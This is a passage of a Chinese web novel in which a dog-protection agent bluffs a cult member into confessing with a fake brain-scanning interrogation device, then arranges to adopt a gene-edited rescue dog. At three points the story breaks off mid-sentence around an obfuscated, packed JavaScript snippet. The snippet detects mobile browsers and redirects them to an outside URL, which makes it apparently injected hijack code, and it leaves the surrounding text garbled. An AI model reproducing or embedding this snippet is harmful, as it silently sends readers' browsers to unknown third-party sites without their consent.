“比起罪犯痴傻,后续审讯无法进行来说,还是单纯的四肢受损好一点吧?” “方便你们重复利用?” 风从南点头,李青山腹诽这家伙果然也是联邦安保处的变态之一,谁说狗安处就不是联邦安保处的了?这作风完全一模一样、如出一辙的变态,“看来你和联邦安保处那几个变态也没什么区别。” 见两人旁若无人地当着他的面谈论审讯方式,一旁的金晓忍不住想抖脚,却被脚铐牢牢禁锢在审讯椅上,只能微微挪动一下身体。 李青山思考了片刻,现在也没有更好的办法了,金晓固执的态度极大地阻碍了案件的推进进度,风从南提出的办法确实是当下最好的处理方式,损失一个罪犯的手脚,换来新的线索。 “可以。” 审讯仪器需要审讯方两人均同意使用才能开放权限,风从南见李青山也同意使用,在光脑上提交使用申请以后,两人便换了个审讯室,让助理安保员将朱诚带来,从他口中得知具体的时间范围。 朱诚跟着金晓第一次参加曙光教会举办的小型聚会是在半年前。 两人回到金晓所在的审讯室,推着审讯仪器挪到金晓边上。这个仪器有点像游戏装置,装备有一个脑机接口。李青山不懂怎么使用仪器,干脆将它全盘托付给风从南。 风从南根据使用说明和自己打游戏的经验,找到脑机接口的连接线,对准金晓的光脑芯片结合。 金晓越发焦躁,风从南推仪器的时候他就有些微微发抖,脑机接口连接上光脑以后更是慌张,他的光脑在进入联邦审讯室以后就被屏蔽信号,他完全感受不到自己的光脑是否连接上了一个完全陌生的脑机装置。 风从南按下开关,黑色仪器发出叮的一声。 这仿佛是他失去四肢的催命铃。金晓不想变成废人,不想要失去手抑或是脚。以联邦目前的医疗水平,断了的手脚马上就能重新接上,但是谁知道这些联邦安保员会不会把他送到医院。 就像她们说的那样,她们只需要一个活的、能够回答审讯问题的犯人,至于这个犯人有没有四肢与她们无关。有四肢也只是说明他们能被反复利用、榨干价值而已。 更何况,失去四肢仅仅是最轻的副作用。 要是他就是那么倒霉,成为痴呆中的一员…… 那么他一直以来的坚持会变成一个莫大的笑话,他至今位置所作的一切努力都将白费。 或许还要被教会里那些看不上他身份的人嘲笑…… 金晓的内心在不停地纠结、拉扯,一边告诉他这些安保员所说的不一定是事实,他一定要坚守阵地,不能把教会的秘密暴露在外人眼中,另一边劝说他服从这些安保员,他一直以来都是一个自私的人,为了自己他才会加入曙光教会牟取更多利益,要是他失去了自己,这些收益还有什么用? 虽然说他不一定会变成痴呆,可谁能保证他不是那个特殊的例子? 万一呢? 他就害怕万一。 “我说。”金晓转变了态度,冷硬的脸庞一下子软和下来,变得有些颓然,“不要给我用这个仪器,我都说。” 他给了台阶下,风从南却笑眯眯地拒绝了:“我们不需要你的口供,进入你的大脑中直接寻找记忆也是一样的。谁能保证你记得所有细节呢?再说了,万一你告诉我们的话都是谎言呢?我还是比较相信自己亲手搜查出来的证据。” 金晓没想到对方会是这个态度,嘴唇颤抖着,他咬紧了腮帮子,咬出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064571|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个牙印才松开。 “我的记忆力很好,有关曙光教会的所有事我都记得一清二楚。” 见风从南仍然自顾自地开启审讯仪器,他甚至听到了仪器启动,齿轮运转的嘎吱声,“最近曙光教会也有联系我,他们传递的消息很分散,你们在我的记忆里找起来很困难。我可以把这些事全都告诉你们。” * “你为什么要接触朱诚?” “朱诚家是开连锁酒庄的,我们一派的老大喜欢喝酒,我就想和他拉近关系以后弄点名贵的酒过来,送给老大。” “曙光教会里有几个派系?派系对立严重吗?” “就两个,对立严不严重我也不清楚,我只是个二级教徒。” “教徒的等级有几个阶梯?” “一共五个,五级教徒就两个人,分别是两个派系的老大。” “你为什么要对朱诚宣传吃狗肉可以预防荒芜病。” 金晓连忙摆手:“不是我宣传的,我们教会里都是这么说的。吃狗肉可以预防荒芜病是他们研究出来的。” “你们有具体的研究报告说明吗?” “这、这我怎么知道,我又不是学这个的。” “那也就是说你们没有任何证据就开始宣传这一不实消息?确实是曙光教会的作风。”李青山啧啧称奇。 风从南:“你刚刚还说给朱诚的肥胖药物是你自己研制的,我问你,这药到底是哪里来的。” 金晓犹豫着要不要开口,随即想到自己已经没有选择和退路,挣扎着说:“这个药是上面直接送到我手上的,我们每个月接头一次。” “他们为什么要给你提供药?” “我不清楚,这都是上面分配的任务,轮到我了我就去做。” “轮到你了你就做?恐怕不只这样吧。”风从南若有所思道,“应该是你抢到了这个活,想在你口中的老大面前露脸,所以才抢着完成任务吧。” 金晓面色一僵,他没想到风从南连细枝末节都要细究。 风从南以前在狗安处做任务的时候也经常需要审问罪犯,其中不乏金晓这种说一半藏一半,偶尔还要洗白自己的人。李青山更是司空见惯。 “交易的地点在哪里?” “我们交易的地点不是固定的,有时候在我家,有时候在某个黑市。都是对面提前一天通知我,我才知道地方。” “这个月的交易时间是什么时候?” “半个月以后。” 能问的问题都问完了,风从南和李青山结束了本次对金晓的提审,让助理安保员将他带走。 在案件调查没有结束之前,金晓和朱诚都将被暂时关押在联邦安保处内。 “抓捕金晓是不是已经打草惊蛇了?”风从南皱着眉问李青山。 李青山双手扶头,松了一口气,靠在座椅上:“就看金晓的光脑会不会收到下一次消息,没收到就说明我们暴露了,收到的话,说明我们可能会踩进对方的圈套。” 23. 肉狗(六) 闻璟发消息通知两人集合商讨这次案件的审讯收获,风从南和李青山离开审讯室,边走边聊。 李青山:“你刚复职,怎么对联邦安保处的新仪器这么了解?狗安处的办公地点也不在联邦安保处的大厦里吧?” “哦,我诈他的。”风从南面上淡淡,背后隐形的尾巴在得意地摆动,“我也不知道那个机器有什么作用,金晓又打死不肯交代,干脆诈他一下。” 李青山嘴角一抽,风从南表面淡定,实则已经按捺不住她上扬的嘴角了:“不愧是你。” 风从南肯定地点头:“不愧是我。”毕竟你也没想到好办法。 审讯过程中金晓一直保持沉默,常规审讯手段没办法突破他。风从南虽然有一年狗安处工作经验,但不精通审讯工作,李青山一个专业的都没办法,何况是她。 本来打算暂且搁置对金晓的审讯,结果她眼神一瞟看见了角落里的仪器,结合自己博览群书(星网小说)的经验,编造事实,成功撬开金晓的嘴。 两人来到会议室,和众人一起总结审讯结果。 李青山代表她和风从南发言:“我们组主要负责审讯朱诚,朱诚制造肉狗的行为是因为受到曙光教会宣传观念的影响,他与曙光教会关联不多,仅仅参加了一次聚会,在这次聚会上他听说了吃狗肉能够防止荒芜病,跳进了带他参加聚会的教徒——药物供应商金晓的圈套。” “金晓是曙光教会的二级教徒,想要拉朱诚入会,但是朱诚没有通过教会其他人的资格检验。金晓的狗用肥胖药物来自曙光教会,由教会内派人主动和他联系,确认交易地点。他们的交易频率为一个月一次,下一次是半个月后。以上为我们的审讯大致结果,审讯细节报告已经上传内部系统。” 李青山坐下,和风从南一起聆听其他人的审讯结果。 这次审讯最有价值的人就是朱诚和金晓,其他人都只是朱诚的手下和助手,对于朱诚豢养肉狗的内幕并不了解。 精英男李彬在朱诚身边工作五年,这只肉狗是第一只受害的小狗,在此之前朱诚只是恐惧荒芜病,养了许多小狗同时吸收他身上的黑暗情绪,在一次聚会后他才开始改变。在那之后,原本只是中型犬体型的肉狗日渐肥胖,直到成为现在众人眼中的畸形狗。 闻璟是这次抓捕行动的总指挥,听完众人发言,她说:“李彬、朱诚和金晓的证词基本可以相互印证,他们证词的真实度还算可信。但是我们今天凌晨贸然抓捕金晓的行动很可能已经打草惊蛇,曙光教会收到消息,半个月后不一定会联系金晓。” 李青山不同意:“据我们联邦警署调查了解,曙光教会作风诡异,内部分裂成两个派系,行事风格都大胆张扬,我倾向于曙光教会得知金晓被抓后会主动联系我们。” “他们主动联系我们干嘛?想吃牢饭?”有人不解道。 风从南摇了摇头,代替李青山回答这个问题:“在这些亡命之徒眼里,这是挑衅。我们跳进他们提前布置的局,如果我们无功而返,他们不赚不亏,但如果我们全军覆没……” 风从南:“那就是在联邦官方脸上狠狠地打了一巴掌。” 李青山认同她的说法:“我们永远没法理解这些罪犯的想法。正常人觉得这件事对自己有三分害,为了保证自身安危,绝对不会去做。而这些人往往冲着七分利去,完全不在意三分害发生的可能性。” “这个案件还没有结束,半个月以后,我们要面对一场硬仗。”闻璟沉声道,“狗安处和联邦警署联合成立案件调查组,组长狗安处闻璟,副组长联邦警署李青山,针对肉狗案件开展调查。” “是!” 众人齐声应道。 会议结束后,风从南拒绝了李青山的晚饭邀约,主动找到闻璟。 闻璟正在梳理文件,风从南问道:“医院那只小狗还好吗?就是从幸福小区里面救出来的那只狗。” 长达两天一夜的高强度工作恍若隔世,风从南看见那只畸形肉狗的刹那就想起了那只遍体鳞伤的小狗。 闻璟抬头看了她一眼,继续整理文件:“那只狗身体受损严重,现在还在医疗仓里躺着,还需要一段时间的治疗。” 风从南疑惑,医疗仓是当前医院最先进的医疗仪器,价格昂贵,但效果很好,重伤者躺三天就可以完成全身修复。距离她把小狗送到医院已经一个星期,照理来说,这只狗的伤势早就应该治愈完毕了。 “这只小狗什么时候才能出院?” 闻璟叹了口气:“实不相瞒,这只狗的问题远远不止表面的伤口,它不能出院主要是因为它本身的特殊性。医院出示的医疗检测报告现实,这只狗体内不止一个子宫,黑暗情绪存储器官也被人为扩大,拼接了不明材料。” “什么?!”风从南瞠目结舌,狗安处留有联邦所有具备身份证明的小狗资料,可繁育小狗更是联邦管理的重点,目前里面没有多子宫小狗的案例,“这只小狗和小狗资料库里其他狗有基因重叠吗?” 闻璟知道风从南在想什么,她遗憾地否定了风从南的猜测:“它和狗安处内登记的所有可繁育小狗都没有亲属关系,多子宫症状出现也不是返祖现象,联邦史上从未出现过多子宫小狗。” “也就是说,这只狗属于人造狗,是基因编辑的产物。”风从南喃喃道,眉头紧锁,“它的来源特殊,没办法回归自然,做流动小狗,还是第一个案件的物证之一……” 闻璟看了眼光脑消息,温和地说:“以旧换新的小狗案件还没有结束,和肉狗案一样,我们仅仅窥见了案件背后的冰山一角。这两个案件是狗安处一组目前主要的侦办案件,我们不能放弃任何一边的进度,必须做到齐头并进,才能拯救更多仍被困于黑暗中的小狗。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078897|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风从南没有细听闻璟的官腔,垂下眼帘思考了一会儿,问道:“组长,我能不能收养它?” 闻璟欲要张口,风从南唯恐她不由分说的拒绝,找补道:“暂时的也行。反正它作为案件物证也没办法放归成为流动小狗,更不可能找其他不了解的人收养它,这只小狗最好的结局就是被狗安处其他正职员工,最坏也不过被狗安处收容。我虽然是个兼职员工,但是资历比起其他人也不差,算是一个可信的人选吧?” 闻璟本想要拒绝风从南的请求,转念一想这也不失为一个好方案,她沉思片刻,问道:“你要不要跟我一起去医院探望这只小狗?你先看下情况,想清楚再决定也不迟。” * 风从南跟着闻璟来到联邦第一医院,那只小狗因为伤势过重和特殊的器官问题已经被转移到这里。联邦第一医院与联邦官方达成了长期合作,不仅是狗安处,联邦警署和联邦安保处的罪犯也都在此治疗疾病。 联邦第一医院的医疗技术水平可能有问题,但价格绝对公道,一分钱一分货,是白昼星乃至整个联邦性价比最高的医院。 风从南以前都在这看病,兼职收入丰富了也没换其他更好的医院。 原因也很简单,就一个字——抠。 小狗在医疗仓里静静地躺着,旁边的仪器勾勒出它心脏跳动的线条。与第一次在幸福小区里刚见到它的狼狈样子相比,它已经整洁了不少。 沾满血液的毛被擦拭干净,脚上的毛剃得整齐。但这些整洁的细节还是掩盖不了这只小狗长相潦草的事实。 它身上的毛发包括黄黑白三色,分布不均匀,不像狗中三花伯恩山犬一样优雅,狗毛卷曲不够顺滑,眼睛小小的,脸上的毛又长又卷,必定会遮住它的视线。 肚子上的伤疤贯穿整个腹腔,狰狞无比。为方便治疗和查看伤口,伤疤附近的毛都被剃完了,没有小狗毛替它遮掩扭曲的疤痕。 风从南喜欢这只小狗。 风从南的手搭在医疗舱的表面,她凑近了玻璃窗口,仔仔细细地端详这只小狗,越看越喜欢它。 它不够可爱,长得潦草不端正,身体器官畸形,因为医疗实验寿命也不长。可是它长得很像自己。 联邦人追求美,许多人讨厌自己的原生长相,达到手术同意年龄就立即去整形医院精雕细琢自己的外貌,风从南以前的同学也不例外,许多同龄人送给自己的成年礼就是整容。 而风从南长相普通,年少时不漂亮,现在也不漂亮。她穿搭讲究舒适,从不在意他人的眼光,哪怕是高端场合也从不委屈自己。 她想干什么就干什么。 这只小狗被她发现时一声不吭地坐在实验台上,哪怕临近死亡边缘也不喊不叫,但它又是不想死的,从幸福小区一路坚持到医院,呼吸渐弱但从没有停止对生的渴望。 风从南欣赏它。 24. 有狗了 接下来的日子里,风从南忙里偷闲,趁着狗安处和店内的空闲时间,经常来联邦第一医院探望受伤的小狗。 她连小狗的大名和小名都想好了,大名随她姓,取得正式些,叫风向北,小名讨巧一些,取名来福。 来福现在能够脱离医疗仓在外行走,身体伤势好了个七七八八,虽然还需要定期检查,但比起之前刚捡到它那会儿已经好上太多了。 风从南偶尔能带他出去散散步,当然,采用的是让来福缩在她怀里的遛狗方式。 小狗联邦里,任何人想和小狗缔结关系都需要经过人狗双方的许可。狗不能无缘无故赖上人,人也不能喊着“手慢无”直接把流动小狗带回家。 风从南作为万狗嫌从来没有体验过被小狗主动选择的滋味,她有勇气和小狗接触,想要缔结一段友好的人狗关系时总是出师未捷身先死,还没为这段缘分打开一个窗口,狗就已经拒绝了她的主动。 心灰意冷的风从南流连狗咖喝奶茶消愁,自我安慰后再重振旗鼓,尝试开启下一段人狗关系。 但是她隐隐有种预感。 流传在小狗联邦的七字箴言终于眷顾了她——这次真的不一样! 今天她带着来福出去散步的时候,它一改往日打不起劲的蔫蔫样子,主动探出脑袋东张西望,和她一起游逛医院特意为病患打造的空中花园。 而且,来福向来是能不接触风从南的肌肤就不接触,今天破天荒地主动把脑袋伸进她的颈窝,甚至还轻轻用毛茸茸的脑袋蹭了蹭她! 风从南在主动和小狗搭建关系上向来采用最老派的接触方式,慢慢靠近,拉近距离,伸出手示意自己的友善态度,等待小狗给予同意抚摸的许可,然后才会有下一步更亲密的接触。 她从不会冒犯小狗,就连小狗香氛也是独立开店后为了拉近与顾客狗的关系才开始喷的。 在人狗关系上,风从南是一个老实人,没那么多弯弯绕绕。 这样的风从南终于迎来了欣赏她的心选狗来福。 她终于可以扬眉吐气,对以前看不上她的那些狗说出“你终究不是我的来福啊”。 联邦第一医院的空中花园高达五层,挑空的大厅里摆放着肆意蔓延枝桠的藤本植物,上面点缀有星星点点的白色小花。 花园安装了新型空气循环系统,空气自然清新,明明没有风,风从南却觉得有微风拂过,温温热热的,她舒服得闭起了眼睛。 还有点湿。 等等,风从南睁开双眼,原来是来福在舔她的脖子。 人造花园里没有微风,有的只是来福的呼吸。 最后一天,医生带走来福去检查室做最后一次身体检查。 风从南和闻璟在检查室外等待结果。 闻璟倚靠在座椅上,问道:“你确定要收养来福吗?” 风从南肯定地点头,给闻璟发送她早就准备好的申请报告。 闻璟查面色舒缓,看完风从南的申请报告,确定没有格式错误和内容问题后,对她说道:“你都这么坚定了,我还怎么劝说你。” “你不用劝,反正我也不会听。”风从南回嘴,她不明白为什么闻璟执着于劝说她不要领养来福,明明这对狗安处也是一件好事,还能顺便帮狗安处的收容中心减减负。 思来想去,可能是闻璟年纪上来了,说教心熊熊燃烧,她不幸被盯上了。 闻璟轻叹一口气:“我已经把申请报告上传系统了,系统批准很快就会下来,今天你就可以把小狗带回家了。你确定小狗同意吗?” 闻璟也对风从南的万狗嫌体质有所了解,她们出日常任务遇见的狗都不爱搭理风从南,对她眼睛不是眼睛,鼻子不对鼻子。 “来福当然是同意的,它黏我黏得像胶水一样。”风从南笑嘻嘻地回答。 “你发给我的申请书还差养狗资格证,被系统打回来了,记得发给我。” 风从南脸色一僵,因为根本不奢望自己能养上狗,原本背得滚瓜烂熟的养狗指南被她忘得一干二净,能想起来申请报告就不错了,更别提养狗资格证的事了。 养狗除了人狗双方的共同许可外,收养人还需要额外办理养狗资格证。养狗资格证由狗安处官方出面,派人审查收养人的住所和经济条件,避免有人浑水摸鱼领养小狗最后因为经济条件不好遗弃。 闻璟一脸狐疑:“你不会是忘记了吧?” 风从南僵硬地点点头,像长年失修的生锈机器。 闻璟:“……” 风从南:“……组长,看在我是内部员工的份上,能不能通融一下。” 闻璟:“不可能,你洗洗睡吧。来福我先带走了。” 风从南双手扶额,拍拍自己的脸颊,目光发沉:“我真没想到还要办养狗许可证。” 一想到来福做完这个检查就要出院,而她还没办好养狗许可证—— 风从南有点想做自由落体运动了。 “因为你没有提前办好养狗许可证,来福出院先跟我回狗安处。你想见它的时候提前跟我说一声,和在自己家养来福也差不多吧?”闻璟见风从南一脸颓丧,出言安慰她,“来福这个情况,我们也不会轻易让其他人收养它的。” 可是在狗安处里隔着一扇玻璃门看小狗,和自己收养了一只小狗是完全不一样的。 风从南思来想去,询问闻璟:“我能不能暂时把来福寄养在狗安处,等我办完养狗许可证就来接它。” 闻璟摇头:“没有这种先例,规章制度不允许。” 风从南:“那我能不能找其他人帮我暂时收留一下来福?” 闻璟沉思:“你说的是找寄养?但是来福情况特殊,寄养方不能透露出任何有关来福基因的消息,还要具备联邦官方的A级寄养许可。有A级寄养许可的寄养方,整个联邦都没有十个。” 风从南站起身来回踱步,边走边想自己有没有认识并且符合要求的寄养方。 突然,她想起了一个完美符合闻璟要求的人选,并且这个人绝对不会对外透露狗安处的机密。 风从南打开光脑联系薄暮光,将事情的来龙去脉告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086457|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉他,随后焦急地等待对方的回复。薄暮光恰好在线,看完前因后果后爽快地答应了风从南的请求,说他现在立刻赶到联邦第一医院。 风从南长舒一口气,终于找到救命稻草了,她停下脚步对闻璟说:“组长,你不用担心来福的问题了,我把来福交给老板,让他暂时帮我照看一段时间。” “老板?你是说薄暮光?”闻璟诧异地抬头。 “对,我跟他关系还行,告诉他来福的事之后他立马答应了。” 闻璟垂下眼帘,手指在座椅扶手上轻轻敲击,发出独属于金属的清脆响声:“他确实符合所有要求。不过,你确定他能照顾好来福吗?” “总不会比现在更差了,薄暮光在我这的信誉值还是很高的。”老板兼职助手,做事全凭热爱,家里还有钱,风从南用脚趾头想想都知道来福在薄暮光家过得绝对不会差,“你放心,我会先去他的领养基地看看情况。” * 薄暮光在收养小狗方面经验丰富,一抵达医院,便向闻璟出示了所有证件。 闻璟确定证件无误后上报至系统审核,很快系统便通过了收养手续。接下来只要风从南取得养狗资格证,二次提交给系统,便能正式收养小狗来福,给自家身份id关系网上增添一只小狗。 来福的体检结果出来之后,医生告知三人小狗已经满足出院条件。 风从南、薄暮光与闻璟在医院门口分别,两人带着来福离开了联邦第一医院。 风从南带着来福坐上薄暮光的飞艇,犹豫地望着驾驶座上的薄暮光。 经过一个半月的相处,她和薄暮光的距离拉近了不少,修狗时配合默契,休息时也能聊上几句话,算得上熟人,但是风从南自认为,两人的关系距离‘朋友’仍有一定差距。 她知道薄暮光是个好人,并且做了很长时间的小狗公益,但她还是想去薄暮光家看看小狗来福这段时间的生活环境。无关信任与否,只是单纯的放不下心,想要亲眼确认一遍。 薄暮光的飞艇具有自动驾驶功能,他早就注意到了风从南的犹豫不决。 风从南在办案子上伪装技艺精湛,不意味着她在生活着也能活得滴水不漏。 她轻轻皱起的眉头和三番五次想要张口却又闭上的嘴唇,薄暮光都看在眼里。 “要来我家的领养基地看看吗?” 风从南蓦然抬头,两人透过一面后视镜目光交错。 “……可以吗?” “我办小狗领养基地好几年了,每次领养出去的小狗也都是需要定期回访收养家庭的。” 风从南听懂了薄暮光的言下之意,他知道风从南放心不下直接把小狗交给他,举出自己的例子宽慰她。 白昼星的中央天气调节系统常年稳定,今天是个好天气。 温暖的阳光透过飞艇照在薄暮光的侧脸,他的半边身子披上了暖色的光晕,照得风从南心里暖洋洋的。 薄暮光,她的好老板、好助理,现在又成了主动帮助她的寄养人,不愧同为爱狗人士,他真是个好人啊!